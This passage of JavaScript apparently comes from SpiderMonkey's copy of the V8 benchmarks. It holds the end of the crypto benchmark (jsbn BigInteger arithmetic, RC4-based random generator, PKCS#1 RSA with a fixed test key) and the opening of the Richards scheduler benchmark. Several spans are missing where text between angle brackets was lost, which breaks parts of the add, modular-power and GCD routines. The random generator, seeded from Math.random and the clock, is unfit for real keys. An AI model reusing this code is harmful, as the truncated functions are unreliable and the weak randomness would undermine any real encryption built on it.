return r; } function bnEquals(a) { return(this.compareTo(a)==0); } function bnMin(a) { return(this.compareTo(a)<0)?this:a; } function bnMax(a) { return(this.compareTo(a)>0)?this:a; } // (protected) r = this op a (bitwise) function bnpBitwiseTo(a,op,r) { var this_array = this.array; var a_array = a.array; var r_array = r.array; var i, f, m = Math.min(a.t,this.t); /* BEGIN LOOP */ for(i = 0; i < m; ++i) r_array[i] = op(this_array[i],a_array[i]); /* END LOOP */ if(a.t < this.t) { f = a.s&BI_DM; /* BEGIN LOOP */ for(i = m; i < this.t; ++i) r_array[i] = op(this_array[i],f); /* END LOOP */ r.t = this.t; } else { f = this.s&BI_DM; /* BEGIN LOOP */ for(i = m; i < a.t; ++i) r_array[i] = op(f,a_array[i]); /* END LOOP */ r.t = a.t; } r.s = op(this.s,a.s); r.clamp(); } // (public) this & a function op_and(x,y) { return x&y; } function bnAnd(a) { var r = nbi(); this.bitwiseTo(a,op_and,r); return r; } // (public) this | a function op_or(x,y) { return x|y; } function bnOr(a) { var r = nbi(); this.bitwiseTo(a,op_or,r); return r; } // (public) this ^ a function op_xor(x,y) { return x^y; } function bnXor(a) { var r = nbi(); this.bitwiseTo(a,op_xor,r); return r; } // (public) this & ~a function op_andnot(x,y) { return x&~y; } function bnAndNot(a) { var r = nbi(); this.bitwiseTo(a,op_andnot,r); return r; } // (public) ~this function bnNot() { var this_array = this.array; var r = nbi(); var r_array = r.array; /* BEGIN LOOP */ for(var i = 0; i < this.t; ++i) r_array[i] = BI_DM&~this_array[i]; /* END LOOP */ r.t = this.t; r.s = ~this.s; return r; } // (public) this << n function bnShiftLeft(n) { var r = nbi(); if(n < 0) this.rShiftTo(-n,r); else this.lShiftTo(n,r); return r; } // (public) this >> n function bnShiftRight(n) { var r = nbi(); if(n < 0) this.lShiftTo(-n,r); else this.rShiftTo(n,r); return r; } // return index of lowest 1-bit in x, x < 2^31 function lbit(x) { if(x == 0) return -1; var r = 0; if((x&0xffff) == 0) { x >>= 16; r += 16; } if((x&0xff) == 0) { x >>= 8; r += 8; } if((x&0xf) == 0) { x >>= 4; r += 4; } if((x&3) == 0) { x >>= 2; r += 2; } if((x&1) == 0) ++r; return r; } // (public) returns index of lowest 1-bit (or -1 if none) function bnGetLowestSetBit() { var this_array = this.array; /* BEGIN LOOP */ for(var i = 0; i < this.t; ++i) if(this_array[i] != 0) return i*BI_DB+lbit(this_array[i]); /* END LOOP */ if(this.s < 0) return this.t*BI_DB; return -1; } // return number of 1 bits in x function cbit(x) { var r = 0; /* BEGIN LOOP */ while(x != 0) { x &= x-1; ++r; } /* END LOOP */ return r; } // (public) return number of set bits function bnBitCount() { var r = 0, x = this.s&BI_DM; /* BEGIN LOOP */ for(var i = 0; i < this.t; ++i) r += cbit(this_array[i]^x); /* END LOOP */ return r; } // (public) true iff nth bit is set function bnTestBit(n) { var this_array = this.array; var j = Math.floor(n/BI_DB); if(j >= this.t) return(this.s!=0); return((this_array[j]&(1<<(n%BI_DB)))!=0); } // (protected) this op (1<>= BI_DB; } /* END LOOP */ if(a.t < this.t) { c += a.s; /* BEGIN LOOP */ while(i < this.t) { c += this_array[i]; r_array[i++] = c&BI_DM; c >>= BI_DB; } /* END LOOP */ c += this.s; } else { c += this.s; /* BEGIN LOOP */ while(i < a.t) { c += a_array[i]; r_array[i++] = c&BI_DM; c >>= BI_DB; } /* END LOOP */ c += a.s; } r.s = (c<0)?-1:0; if(c > 0) r_array[i++] = c; else if(c < -1) r_array[i++] = BI_DV+c; r.t = i; r.clamp(); } // (public) this + a function bnAdd(a) { var r = nbi(); this.addTo(a,r); return r; } // (public) this - a function bnSubtract(a) { var r = nbi(); this.subTo(a,r); return r; } // (public) this * a function bnMultiply(a) { var r = nbi(); this.multiplyTo(a,r); return r; } // (public) this / a function bnDivide(a) { var r = nbi(); this.divRemTo(a,r,null); return r; } // (public) this % a function bnRemainder(a) { var r = nbi(); this.divRemTo(a,null,r); return r; } // (public) [this/a,this%a] function bnDivideAndRemainder(a) { var q = nbi(), r = nbi(); this.divRemTo(a,q,r); return new Array(q,r); } // (protected) this *= n, this >= 0, 1 < n < DV function bnpDMultiply(n) { var this_array = this.array; this_array[this.t] = this.am(0,n-1,this,0,0,this.t); ++this.t; this.clamp(); } // (protected) this += n << w words, this >= 0 function bnpDAddOffset(n,w) { var this_array = this.array; /* BEGIN LOOP */ while(this.t <= w) this_array[this.t++] = 0; /* END LOOP */ this_array[w] += n; /* BEGIN LOOP */ while(this_array[w] >= BI_DV) { this_array[w] -= BI_DV; if(++w >= this.t) this_array[this.t++] = 0; ++this_array[w]; } /* END LOOP */ } // A "null" reducer function NullExp() {} function nNop(x) { return x; } function nMulTo(x,y,r) { x.multiplyTo(y,r); } function nSqrTo(x,r) { x.squareTo(r); } NullExp.prototype.convert = nNop; NullExp.prototype.revert = nNop; NullExp.prototype.mulTo = nMulTo; NullExp.prototype.sqrTo = nSqrTo; // (public) this^e function bnPow(e) { return this.exp(e,new NullExp()); } // (protected) r = lower n words of "this * a", a.t <= n // "this" should be the larger one if appropriate. function bnpMultiplyLowerTo(a,n,r) { var r_array = r.array; var a_array = a.array; var i = Math.min(this.t+a.t,n); r.s = 0; // assumes a,this >= 0 r.t = i; /* BEGIN LOOP */ while(i > 0) r_array[--i] = 0; /* END LOOP */ var j; /* BEGIN LOOP */ for(j = r.t-this.t; i < j; ++i) r_array[i+this.t] = this.am(0,a_array[i],r,i,0,this.t); /* END LOOP */ /* BEGIN LOOP */ for(j = Math.min(a.t,n); i < j; ++i) this.am(0,a_array[i],r,i,0,n-i); /* END LOOP */ r.clamp(); } // (protected) r = "this * a" without lower n words, n > 0 // "this" should be the larger one if appropriate. function bnpMultiplyUpperTo(a,n,r) { var r_array = r.array; var a_array = a.array; --n; var i = r.t = this.t+a.t-n; r.s = 0; // assumes a,this >= 0 /* BEGIN LOOP */ while(--i >= 0) r_array[i] = 0; /* END LOOP */ /* BEGIN LOOP */ for(i = Math.max(n-this.t,0); i < a.t; ++i) r_array[this.t+i-n] = this.am(n-i,a_array[i],r,0,0,this.t+i-n); /* END LOOP */ r.clamp(); r.drShiftTo(1,r); } // Barrett modular reduction function Barrett(m) { // setup Barrett this.r2 = nbi(); this.q3 = nbi(); BigInteger.ONE.dlShiftTo(2*m.t,this.r2); this.mu = this.r2.divide(m); this.m = m; } function barrettConvert(x) { if(x.s < 0 || x.t > 2*this.m.t) return x.mod(this.m); else if(x.compareTo(this.m) < 0) return x; else { var r = nbi(); x.copyTo(r); this.reduce(r); return r; } } function barrettRevert(x) { return x; } // x = x mod m (HAC 14.42) function barrettReduce(x) { x.drShiftTo(this.m.t-1,this.r2); if(x.t > this.m.t+1) { x.t = this.m.t+1; x.clamp(); } this.mu.multiplyUpperTo(this.r2,this.m.t+1,this.q3); this.m.multiplyLowerTo(this.q3,this.m.t+1,this.r2); /* BEGIN LOOP */ while(x.compareTo(this.r2) < 0) x.dAddOffset(1,this.m.t+1); /* END LOOP */ x.subTo(this.r2,x); /* BEGIN LOOP */ while(x.compareTo(this.m) >= 0) x.subTo(this.m,x); /* END LOOP */ } // r = x^2 mod m; x != r function barrettSqrTo(x,r) { x.squareTo(r); this.reduce(r); } // r = x*y mod m; x,y != r function barrettMulTo(x,y,r) { x.multiplyTo(y,r); this.reduce(r); } Barrett.prototype.convert = barrettConvert; Barrett.prototype.revert = barrettRevert; Barrett.prototype.reduce = barrettReduce; Barrett.prototype.mulTo = barrettMulTo; Barrett.prototype.sqrTo = barrettSqrTo; // (public) this^e % m (HAC 14.85) function bnModPow(e,m) { var e_array = e.array; var i = e.bitLength(), k, r = nbv(1), z; if(i <= 0) return r; else if(i < 18) k = 1; else if(i < 48) k = 3; else if(i < 144) k = 4; else if(i < 768) k = 5; else k = 6; if(i < 8) z = new Classic(m); else if(m.isEven()) z = new Barrett(m); else z = new Montgomery(m); // precomputation var g = new Array(), n = 3, k1 = k-1, km = (1< 1) { var g2 = nbi(); z.sqrTo(g[1],g2); /* BEGIN LOOP */ while(n <= km) { g[n] = nbi(); z.mulTo(g2,g[n-2],g[n]); n += 2; } /* END LOOP */ } var j = e.t-1, w, is1 = true, r2 = nbi(), t; i = nbits(e_array[j])-1; /* BEGIN LOOP */ while(j >= 0) { if(i >= k1) w = (e_array[j]>>(i-k1))&km; else { w = (e_array[j]&((1<<(i+1))-1))<<(k1-i); if(j > 0) w |= e_array[j-1]>>(BI_DB+i-k1); } n = k; /* BEGIN LOOP */ while((w&1) == 0) { w >>= 1; --n; } /* END LOOP */ if((i -= n) < 0) { i += BI_DB; --j; } if(is1) { // ret == 1, don't bother squaring or multiplying it g[w].copyTo(r); is1 = false; } else { /* BEGIN LOOP */ while(n > 1) { z.sqrTo(r,r2); z.sqrTo(r2,r); n -= 2; } /* END LOOP */ if(n > 0) z.sqrTo(r,r2); else { t = r; r = r2; r2 = t; } z.mulTo(r2,g[w],r); } /* BEGIN LOOP */ while(j >= 0 && (e_array[j]&(1< 0) { x.rShiftTo(g,x); y.rShiftTo(g,y); } /* BEGIN LOOP */ while(x.signum() > 0) { if((i = x.getLowestSetBit()) > 0) x.rShiftTo(i,x); if((i = y.getLowestSetBit()) > 0) y.rShiftTo(i,y); if(x.compareTo(y) >= 0) { x.subTo(y,x); x.rShiftTo(1,x); } else { y.subTo(x,y); y.rShiftTo(1,y); } } /* END LOOP */ if(g > 0) y.lShiftTo(g,y); return y; } // (protected) this % n, n < 2^26 function bnpModInt(n) { var this_array = this.array; if(n <= 0) return 0; var d = BI_DV%n, r = (this.s<0)?n-1:0; if(this.t > 0) if(d == 0) r = this_array[0]%n; else for(var i = this.t-1; i >= 0; --i) r = (d*r+this_array[i])%n; return r; } // (public) 1/this % m (HAC 14.61) function bnModInverse(m) { var ac = m.isEven(); if((this.isEven() && ac) || m.signum() == 0) return BigInteger.ZERO; var u = m.clone(), v = this.clone(); var a = nbv(1), b = nbv(0), c = nbv(0), d = nbv(1); /* BEGIN LOOP */ while(u.signum() != 0) { /* BEGIN LOOP */ while(u.isEven()) { u.rShiftTo(1,u); if(ac) { if(!a.isEven() || !b.isEven()) { a.addTo(this,a); b.subTo(m,b); } a.rShiftTo(1,a); } else if(!b.isEven()) b.subTo(m,b); b.rShiftTo(1,b); } /* END LOOP */ /* BEGIN LOOP */ while(v.isEven()) { v.rShiftTo(1,v); if(ac) { if(!c.isEven() || !d.isEven()) { c.addTo(this,c); d.subTo(m,d); } c.rShiftTo(1,c); } else if(!d.isEven()) d.subTo(m,d); d.rShiftTo(1,d); } /* END LOOP */ if(u.compareTo(v) >= 0) { u.subTo(v,u); if(ac) a.subTo(c,a); b.subTo(d,b); } else { v.subTo(u,v); if(ac) c.subTo(a,c); d.subTo(b,d); } } /* END LOOP */ if(v.compareTo(BigInteger.ONE) != 0) return BigInteger.ZERO; if(d.compareTo(m) >= 0) return d.subtract(m); if(d.signum() < 0) d.addTo(m,d); else return d; if(d.signum() < 0) return d.add(m); else return d; } var lowprimes = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,503,509]; var lplim = (1<<26)/lowprimes[lowprimes.length-1]; // (public) test primality with certainty >= 1-.5^t function bnIsProbablePrime(t) { var i, x = this.abs(); var x_array = x.array; if(x.t == 1 && x_array[0] <= lowprimes[lowprimes.length-1]) { for(i = 0; i < lowprimes.length; ++i) if(x_array[0] == lowprimes[i]) return true; return false; } if(x.isEven()) return false; i = 1; /* BEGIN LOOP */ while(i < lowprimes.length) { var m = lowprimes[i], j = i+1; /* BEGIN LOOP */ while(j < lowprimes.length && m < lplim) m *= lowprimes[j++]; /* END LOOP */ m = x.modInt(m); /* BEGIN LOOP */ while(i < j) if(m%lowprimes[i++] == 0) return false; /* END LOOP */ } /* END LOOP */ return x.millerRabin(t); } // (protected) true if probably prime (HAC 4.24, Miller-Rabin) function bnpMillerRabin(t) { var n1 = this.subtract(BigInteger.ONE); var k = n1.getLowestSetBit(); if(k <= 0) return false; var r = n1.shiftRight(k); t = (t+1)>>1; if(t > lowprimes.length) t = lowprimes.length; var a = nbi(); /* BEGIN LOOP */ for(var i = 0; i < t; ++i) { a.fromInt(lowprimes[i]); var y = a.modPow(r,this); if(y.compareTo(BigInteger.ONE) != 0 && y.compareTo(n1) != 0) { var j = 1; /* BEGIN LOOP */ while(j++ < k && y.compareTo(n1) != 0) { y = y.modPowInt(2,this); if(y.compareTo(BigInteger.ONE) == 0) return false; } /* END LOOP */ if(y.compareTo(n1) != 0) return false; } } /* END LOOP */ return true; } // protected BigInteger.prototype.chunkSize = bnpChunkSize; BigInteger.prototype.toRadix = bnpToRadix; BigInteger.prototype.fromRadix = bnpFromRadix; BigInteger.prototype.fromNumber = bnpFromNumber; BigInteger.prototype.bitwiseTo = bnpBitwiseTo; BigInteger.prototype.changeBit = bnpChangeBit; BigInteger.prototype.addTo = bnpAddTo; BigInteger.prototype.dMultiply = bnpDMultiply; BigInteger.prototype.dAddOffset = bnpDAddOffset; BigInteger.prototype.multiplyLowerTo = bnpMultiplyLowerTo; BigInteger.prototype.multiplyUpperTo = bnpMultiplyUpperTo; BigInteger.prototype.modInt = bnpModInt; BigInteger.prototype.millerRabin = bnpMillerRabin; // public BigInteger.prototype.clone = bnClone; BigInteger.prototype.intValue = bnIntValue; BigInteger.prototype.byteValue = bnByteValue; BigInteger.prototype.shortValue = bnShortValue; BigInteger.prototype.signum = bnSigNum; BigInteger.prototype.toByteArray = bnToByteArray; BigInteger.prototype.equals = bnEquals; BigInteger.prototype.min = bnMin; BigInteger.prototype.max = bnMax; BigInteger.prototype.and = bnAnd; BigInteger.prototype.or = bnOr; BigInteger.prototype.xor = bnXor; BigInteger.prototype.andNot = bnAndNot; BigInteger.prototype.not = bnNot; BigInteger.prototype.shiftLeft = bnShiftLeft; BigInteger.prototype.shiftRight = bnShiftRight; BigInteger.prototype.getLowestSetBit = bnGetLowestSetBit; BigInteger.prototype.bitCount = bnBitCount; BigInteger.prototype.testBit = bnTestBit; BigInteger.prototype.setBit = bnSetBit; BigInteger.prototype.clearBit = bnClearBit; BigInteger.prototype.flipBit = bnFlipBit; BigInteger.prototype.add = bnAdd; BigInteger.prototype.subtract = bnSubtract; BigInteger.prototype.multiply = bnMultiply; BigInteger.prototype.divide = bnDivide; BigInteger.prototype.remainder = bnRemainder; BigInteger.prototype.divideAndRemainder = bnDivideAndRemainder; BigInteger.prototype.modPow = bnModPow; BigInteger.prototype.modInverse = bnModInverse; BigInteger.prototype.pow = bnPow; BigInteger.prototype.gcd = bnGCD; BigInteger.prototype.isProbablePrime = bnIsProbablePrime; // BigInteger interfaces not implemented in jsbn: // BigInteger(int signum, byte[] magnitude) // double doubleValue() // float floatValue() // int hashCode() // long longValue() // static BigInteger valueOf(long val) // prng4.js - uses Arcfour as a PRNG function Arcfour() { this.i = 0; this.j = 0; this.S = new Array(); } // Initialize arcfour context from key, an array of ints, each from [0..255] function ARC4init(key) { var i, j, t; /* BEGIN LOOP */ for(i = 0; i < 256; ++i) this.S[i] = i; /* END LOOP */ j = 0; /* BEGIN LOOP */ for(i = 0; i < 256; ++i) { j = (j + this.S[i] + key[i % key.length]) & 255; t = this.S[i]; this.S[i] = this.S[j]; this.S[j] = t; } /* END LOOP */ this.i = 0; this.j = 0; } function ARC4next() { var t; this.i = (this.i + 1) & 255; this.j = (this.j + this.S[this.i]) & 255; t = this.S[this.i]; this.S[this.i] = this.S[this.j]; this.S[this.j] = t; return this.S[(t + this.S[this.i]) & 255]; } Arcfour.prototype.init = ARC4init; Arcfour.prototype.next = ARC4next; // Plug in your RNG constructor here function prng_newstate() { return new Arcfour(); } // Pool size must be a multiple of 4 and greater than 32. // An array of bytes the size of the pool will be passed to init() var rng_psize = 256; // Random number generator - requires a PRNG backend, e.g. prng4.js // For best results, put code like // // in your main HTML document. var rng_state; var rng_pool; var rng_pptr; // Mix in a 32-bit integer into the pool function rng_seed_int(x) { rng_pool[rng_pptr++] ^= x & 255; rng_pool[rng_pptr++] ^= (x >> 8) & 255; rng_pool[rng_pptr++] ^= (x >> 16) & 255; rng_pool[rng_pptr++] ^= (x >> 24) & 255; if(rng_pptr >= rng_psize) rng_pptr -= rng_psize; } // Mix in the current time (w/milliseconds) into the pool function rng_seed_time() { rng_seed_int(new Date().getTime()); } // Initialize the pool with junk if needed. if(rng_pool == null) { rng_pool = new Array(); rng_pptr = 0; var t; /* BEGIN LOOP */ while(rng_pptr < rng_psize) { // extract some randomness from Math.random() t = Math.floor(65536 * Math.random()); rng_pool[rng_pptr++] = t >>> 8; rng_pool[rng_pptr++] = t & 255; } /* END LOOP */ rng_pptr = 0; rng_seed_time(); //rng_seed_int(window.screenX); //rng_seed_int(window.screenY); } function rng_get_byte() { if(rng_state == null) { rng_seed_time(); rng_state = prng_newstate(); rng_state.init(rng_pool); /* BEGIN LOOP */ for(rng_pptr = 0; rng_pptr < rng_pool.length; ++rng_pptr) rng_pool[rng_pptr] = 0; /* END LOOP */ rng_pptr = 0; //rng_pool = null; } // TODO: allow reseeding after first request return rng_state.next(); } function rng_get_bytes(ba) { var i; /* BEGIN LOOP */ for(i = 0; i < ba.length; ++i) ba[i] = rng_get_byte(); /* END LOOP */ } function SecureRandom() {} SecureRandom.prototype.nextBytes = rng_get_bytes; // Depends on jsbn.js and rng.js // convert a (hex) string to a bignum object function parseBigInt(str,r) { return new BigInteger(str,r); } function linebrk(s,n) { var ret = ""; var i = 0; /* BEGIN LOOP */ while(i + n < s.length) { ret += s.substring(i,i+n) + "\n"; i += n; } /* END LOOP */ return ret + s.substring(i,s.length); } function byte2Hex(b) { if(b < 0x10) return "0" + b.toString(16); else return b.toString(16); } // PKCS#1 (type 2, random) pad input string s to n bytes, and return a bigint function pkcs1pad2(s,n) { if(n < s.length + 11) { alert("Message too long for RSA"); return null; } var ba = new Array(); var i = s.length - 1; /* BEGIN LOOP */ while(i >= 0 && n > 0) ba[--n] = s.charCodeAt(i--); /* END LOOP */ ba[--n] = 0; var rng = new SecureRandom(); var x = new Array(); /* BEGIN LOOP */ while(n > 2) { // random non-zero pad x[0] = 0; /* BEGIN LOOP */ while(x[0] == 0) rng.nextBytes(x); /* END LOOP */ ba[--n] = x[0]; } /* END LOOP */ ba[--n] = 2; ba[--n] = 0; return new BigInteger(ba); } // "empty" RSA key constructor function RSAKey() { this.n = null; this.e = 0; this.d = null; this.p = null; this.q = null; this.dmp1 = null; this.dmq1 = null; this.coeff = null; } // Set the public key fields N and e from hex strings function RSASetPublic(N,E) { if(N != null && E != null && N.length > 0 && E.length > 0) { this.n = parseBigInt(N,16); this.e = parseInt(E,16); } else alert("Invalid RSA public key"); } // Perform raw public operation on "x": return x^e (mod n) function RSADoPublic(x) { return x.modPowInt(this.e, this.n); } // Return the PKCS#1 RSA encryption of "text" as an even-length hex string function RSAEncrypt(text) { var m = pkcs1pad2(text,(this.n.bitLength()+7)>>3); if(m == null) return null; var c = this.doPublic(m); if(c == null) return null; var h = c.toString(16); if((h.length & 1) == 0) return h; else return "0" + h; } // Return the PKCS#1 RSA encryption of "text" as a Base64-encoded string //function RSAEncryptB64(text) { // var h = this.encrypt(text); // if(h) return hex2b64(h); else return null; //} // protected RSAKey.prototype.doPublic = RSADoPublic; // public RSAKey.prototype.setPublic = RSASetPublic; RSAKey.prototype.encrypt = RSAEncrypt; //RSAKey.prototype.encrypt_b64 = RSAEncryptB64; // Depends on rsa.js and jsbn2.js // Undo PKCS#1 (type 2, random) padding and, if valid, return the plaintext function pkcs1unpad2(d,n) { var b = d.toByteArray(); var i = 0; /* BEGIN LOOP */ while(i < b.length && b[i] == 0) ++i; /* END LOOP */ if(b.length-i != n-1 || b[i] != 2) return null; ++i; /* BEGIN LOOP */ while(b[i] != 0) if(++i >= b.length) return null; /* END LOOP */ var ret = ""; /* BEGIN LOOP */ while(++i < b.length) ret += String.fromCharCode(b[i]); /* END LOOP */ return ret; } // Set the private key fields N, e, and d from hex strings function RSASetPrivate(N,E,D) { if(N != null && E != null && N.length > 0 && E.length > 0) { this.n = parseBigInt(N,16); this.e = parseInt(E,16); this.d = parseBigInt(D,16); } else alert("Invalid RSA private key"); } // Set the private key fields N, e, d and CRT params from hex strings function RSASetPrivateEx(N,E,D,P,Q,DP,DQ,C) { if(N != null && E != null && N.length > 0 && E.length > 0) { this.n = parseBigInt(N,16); this.e = parseInt(E,16); this.d = parseBigInt(D,16); this.p = parseBigInt(P,16); this.q = parseBigInt(Q,16); this.dmp1 = parseBigInt(DP,16); this.dmq1 = parseBigInt(DQ,16); this.coeff = parseBigInt(C,16); } else alert("Invalid RSA private key"); } // Generate a new random private key B bits long, using public expt E function RSAGenerate(B,E) { var rng = new SecureRandom(); var qs = B>>1; this.e = parseInt(E,16); var ee = new BigInteger(E,16); /* BEGIN LOOP */ for(;;) { /* BEGIN LOOP */ for(;;) { this.p = new BigInteger(B-qs,1,rng); if(this.p.subtract(BigInteger.ONE).gcd(ee).compareTo(BigInteger.ONE) == 0 && this.p.isProbablePrime(10)) break; } /* END LOOP */ /* BEGIN LOOP */ for(;;) { this.q = new BigInteger(qs,1,rng); if(this.q.subtract(BigInteger.ONE).gcd(ee).compareTo(BigInteger.ONE) == 0 && this.q.isProbablePrime(10)) break; } /* END LOOP */ if(this.p.compareTo(this.q) <= 0) { var t = this.p; this.p = this.q; this.q = t; } var p1 = this.p.subtract(BigInteger.ONE); var q1 = this.q.subtract(BigInteger.ONE); var phi = p1.multiply(q1); if(phi.gcd(ee).compareTo(BigInteger.ONE) == 0) { this.n = this.p.multiply(this.q); this.d = ee.modInverse(phi); this.dmp1 = this.d.mod(p1); this.dmq1 = this.d.mod(q1); this.coeff = this.q.modInverse(this.p); break; } } /* END LOOP */ } // Perform raw private operation on "x": return x^d (mod n) function RSADoPrivate(x) { if(this.p == null || this.q == null) return x.modPow(this.d, this.n); // TODO: re-calculate any missing CRT params var xp = x.mod(this.p).modPow(this.dmp1, this.p); var xq = x.mod(this.q).modPow(this.dmq1, this.q); /* BEGIN LOOP */ while(xp.compareTo(xq) < 0) xp = xp.add(this.p); /* END LOOP */ return xp.subtract(xq).multiply(this.coeff).mod(this.p).multiply(this.q).add(xq); } // Return the PKCS#1 RSA decryption of "ctext". // "ctext" is an even-length hex string and the output is a plain string. function RSADecrypt(ctext) { var c = parseBigInt(ctext, 16); var m = this.doPrivate(c); if(m == null) return null; return pkcs1unpad2(m, (this.n.bitLength()+7)>>3); } // Return the PKCS#1 RSA decryption of "ctext". // "ctext" is a Base64-encoded string and the output is a plain string. //function RSAB64Decrypt(ctext) { // var h = b64tohex(ctext); // if(h) return this.decrypt(h); else return null; //} // protected RSAKey.prototype.doPrivate = RSADoPrivate; // public RSAKey.prototype.setPrivate = RSASetPrivate; RSAKey.prototype.setPrivateEx = RSASetPrivateEx; RSAKey.prototype.generate = RSAGenerate; RSAKey.prototype.decrypt = RSADecrypt; //RSAKey.prototype.b64_decrypt = RSAB64Decrypt; nValue="a5261939975948bb7a58dffe5ff54e65f0498f9175f5a09288810b8975871e99af3b5dd94057b0fc07535f5f97444504fa35169d461d0d30cf0192e307727c065168c788771c561a9400fb49175e9e6aa4e23fe11af69e9412dd23b0cb6684c4c2429bce139e848ab26d0829073351f4acd36074eafd036a5eb83359d2a698d3"; eValue="10001"; dValue="8e9912f6d3645894e8d38cb58c0db81ff516cf4c7e5a14c7f1eddb1459d2cded4d8d293fc97aee6aefb861859c8b6a3d1dfe710463e1f9ddc72048c09751971c4a580aa51eb523357a3cc48d31cfad1d4a165066ed92d4748fb6571211da5cb14bc11b6e2df7c1a559e6d5ac1cd5c94703a22891464fba23d0d965086277a161"; pValue="d090ce58a92c75233a6486cb0a9209bf3583b64f540c76f5294bb97d285eed33aec220bde14b2417951178ac152ceab6da7090905b478195498b352048f15e7d"; qValue="cab575dc652bb66df15a0359609d51d1db184750c00c6698b90ef3465c99655103edbf0d54c56aec0ce3c4d22592338092a126a0cc49f65a4a30d222b411e58f"; dmp1Value="1a24bca8e273df2f0e47c199bbf678604e7df7215480c77c8db39f49b000ce2cf7500038acfff5433b7d582a01f1826e6f4d42e1c57f5e1fef7b12aabc59fd25"; dmq1Value="3d06982efbbe47339e1f6d36b1216b8a741d410b0c662f54f7118b27b9a4ec9d914337eb39841d8666f3034408cf94f5b62f11c402fc994fe15a05493150d9fd"; coeffValue="3a3e731acd8960b7ff9eb81a7ff93bd1cfa74cbd56987db58b4594fb09c09084db1734c8143f98b602b981aaa9243ca28deb69b5b280ee8dcee0fd2625e53250"; setupEngine(am3, 28); var RSA = new RSAKey(); var TEXT = "The quick brown fox jumped over the extremely lazy frogs!"; RSA.setPublic(nValue, eValue); RSA.setPrivateEx(nValue, eValue, dValue, pValue, qValue, dmp1Value, dmq1Value, coeffValue); function encrypt() { return RSA.encrypt(TEXT); } function decrypt() { return RSA.decrypt(TEXT); } function PrintResult(name, result) { } function PrintScore(score) { // print(score); } BenchmarkSuite.RunSuites({ NotifyResult: PrintResult, NotifyScore: PrintScore }); mozjs17.0.0/js/src/metrics/jint/v8/richards.js0000664000175000017500000003660612106270663021123 0ustar sstanglsstangl// Copyright 2007 Google Inc. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // This is a JavaScript implementation of the Richards // benchmark from: // // http://www.cl.cam.ac.uk/~mr10/Bench.html // // The benchmark was originally implemented in BCPL by // Martin Richards. var Richards = new BenchmarkSuite('Richards', 34886, [ new Benchmark("Richards", runRichards) ]); /** * The Richards benchmark simulates the task dispatcher of an * operating system. **/ function runRichards() { var scheduler = new Scheduler(); scheduler.addIdleTask(ID_IDLE, 0, null, COUNT); var queue = new Packet(null, ID_WORKER, KIND_WORK); queue = new Packet(queue, ID_WORKER, KIND_WORK); scheduler.addWorkerTask(ID_WORKER, 1000, queue); queue = new Packet(null, ID_DEVICE_A, KIND_DEVICE); queue = new Packet(queue, ID_DEVICE_A, KIND_DEVICE); queue = new Packet(queue, ID_DEVICE_A, KIND_DEVICE); scheduler.addHandlerTask(ID_HANDLER_A, 2000, queue); queue = new Packet(null, ID_DEVICE_B, KIND_DEVICE); queue = new Packet(queue, ID_DEVICE_B, KIND_DEVICE); queue = new Packet(queue, ID_DEVICE_B, KIND_DEVICE); scheduler.addHandlerTask(ID_HANDLER_B, 3000, queue); scheduler.addDeviceTask(ID_DEVICE_A, 4000, null); scheduler.addDeviceTask(ID_DEVICE_B, 5000, null); scheduler.schedule(); if (scheduler.queueCount != EXPECTED_QUEUE_COUNT || scheduler.holdCount != EXPECTED_HOLD_COUNT) { var msg = "Error during execution: queueCount = " + scheduler.queueCount + ", holdCount = " + scheduler.holdCount + "."; print(msg); } } var COUNT = 1000; /** * These two constants specify how many times a packet is queued and * how many times a task is put on hold in a correct run of richards. * They don't have any meaning a such but are characteristic of a * correct run so if the actual queue or hold count is different from * the expected there must be a bug in the implementation. **/ var EXPECTED_QUEUE_COUNT = 2322; var EXPECTED_HOLD_COUNT = 928; /** * A scheduler can be used to schedule a set of tasks based on their relative * priorities. Scheduling is done by maintaining a list of task control blocks * which holds tasks and the data queue they are processing. * @constructor */ function Scheduler() { this.queueCount = 0; this.holdCount = 0; this.blocks = new Array(NUMBER_OF_IDS); this.list = null; this.currentTcb = null; this.currentId = null; } var ID_IDLE = 0; var ID_WORKER = 1; var ID_HANDLER_A = 2; var ID_HANDLER_B = 3; var ID_DEVICE_A = 4; var ID_DEVICE_B = 5; var NUMBER_OF_IDS = 6; var KIND_DEVICE = 0; var KIND_WORK = 1; /** * Add an idle task to this scheduler. * @param {int} id the identity of the task * @param {int} priority the task's priority * @param {Packet} queue the queue of work to be processed by the task * @param {int} count the number of times to schedule the task */ Scheduler.prototype.addIdleTask = function (id, priority, queue, count) { this.addRunningTask(id, priority, queue, new IdleTask(this, 1, count)); }; /** * Add a work task to this scheduler. * @param {int} id the identity of the task * @param {int} priority the task's priority * @param {Packet} queue the queue of work to be processed by the task */ Scheduler.prototype.addWorkerTask = function (id, priority, queue) { this.addTask(id, priority, queue, new WorkerTask(this, ID_HANDLER_A, 0)); }; /** * Add a handler task to this 